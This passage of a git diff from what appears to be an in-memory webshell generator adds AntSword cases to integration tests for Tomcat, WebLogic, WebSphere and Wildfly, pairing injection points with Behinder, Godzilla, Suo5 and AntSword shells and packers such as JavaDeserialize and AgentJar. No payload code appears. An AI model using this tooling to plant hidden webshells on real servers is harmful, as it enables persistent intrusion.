arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSPX), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSPX), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSPX), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), @@ -88,7 +97,10 @@ public class Tomcat5ContainerTest { arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSPX), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize) + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSPX), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize) // arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar) // arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), // arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java index 76e3bab0..5389a617 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java @@ -50,6 +50,8 @@ public class Tomcat6ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), @@ -58,6 +60,8 @@ public class Tomcat6ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -66,6 +70,8 @@ public class Tomcat6ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), @@ -74,9 +80,13 @@ public class Tomcat6ContainerTest { arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java index 81cebc2c..04375fcf 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java @@ -50,6 +50,8 @@ public class Tomcat7ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), @@ -58,6 +60,8 @@ public class Tomcat7ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -66,6 +70,8 @@ public class Tomcat7ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), @@ -74,10 +80,14 @@ public class Tomcat7ContainerTest { arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar) ); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java index d5969e9b..11c13e4f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java @@ -54,6 +54,9 @@ public class Tomcat8ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.ScriptEngine), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.ScriptEngine), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), @@ -66,6 +69,9 @@ public class Tomcat8ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), @@ -78,6 +84,9 @@ public class Tomcat8ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.ScriptEngine), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), @@ -90,9 +99,14 @@ public class Tomcat8ContainerTest { arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.ScriptEngine), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java index 8228c39d..82cd0c6c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java @@ -49,6 +49,8 @@ public class Tomcat9ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), @@ -57,6 +59,8 @@ public class Tomcat9ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -65,6 +69,8 @@ public class Tomcat9ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), @@ -73,9 +79,13 @@ public class Tomcat9ContainerTest { arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java index db69a23f..c03cedf9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java @@ -44,14 +44,18 @@ public class WebLogic1036ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Base64), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Base64), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Base64), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.Base64), // arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64), // java.net.SocketTimeoutException arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Base64), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Base64), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Base64), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Base64), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.Base64), + arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packers.AgentJar), arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java index 459b042b..4b31206a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java @@ -46,14 +46,18 @@ public class WebLogic12214ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Base64), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Base64), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Base64), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.Base64), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Base64), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Base64), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Base64), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Base64), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Base64), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.Base64), + arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packers.AgentJar), arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java index 2e1d0776..a7cc28c1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java @@ -46,14 +46,18 @@ public class WebLogic14110ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Base64), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Base64), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Base64), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.Base64), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Base64), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Base64), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Base64), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Base64), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Base64), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Base64), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.Base64), + arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packers.AgentJar), arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java index e23c95e8..31304dc9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java @@ -49,14 +49,18 @@ public class WebSphere855ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packers.AgentJar), arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java index 1b4b3c41..b4ec3629 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java @@ -49,14 +49,18 @@ public class WebSphere905ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packers.AgentJar), arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere700ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere7/WebSphere700ContainerTest.java similarity index 90% rename from integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere700ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/websphere7/WebSphere700ContainerTest.java index dcd91441..8e154f18 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere700ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere7/WebSphere700ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.websphere; +package com.reajason.javaweb.integration.websphere7; import com.reajason.javaweb.memshell.WebSphereShell; import com.reajason.javaweb.memshell.config.Constants; @@ -49,14 +49,18 @@ public class WebSphere700ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packers.AgentJar), arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java index 506c2a22..34a05d33 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java @@ -47,14 +47,18 @@ public class Wildfly18ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), 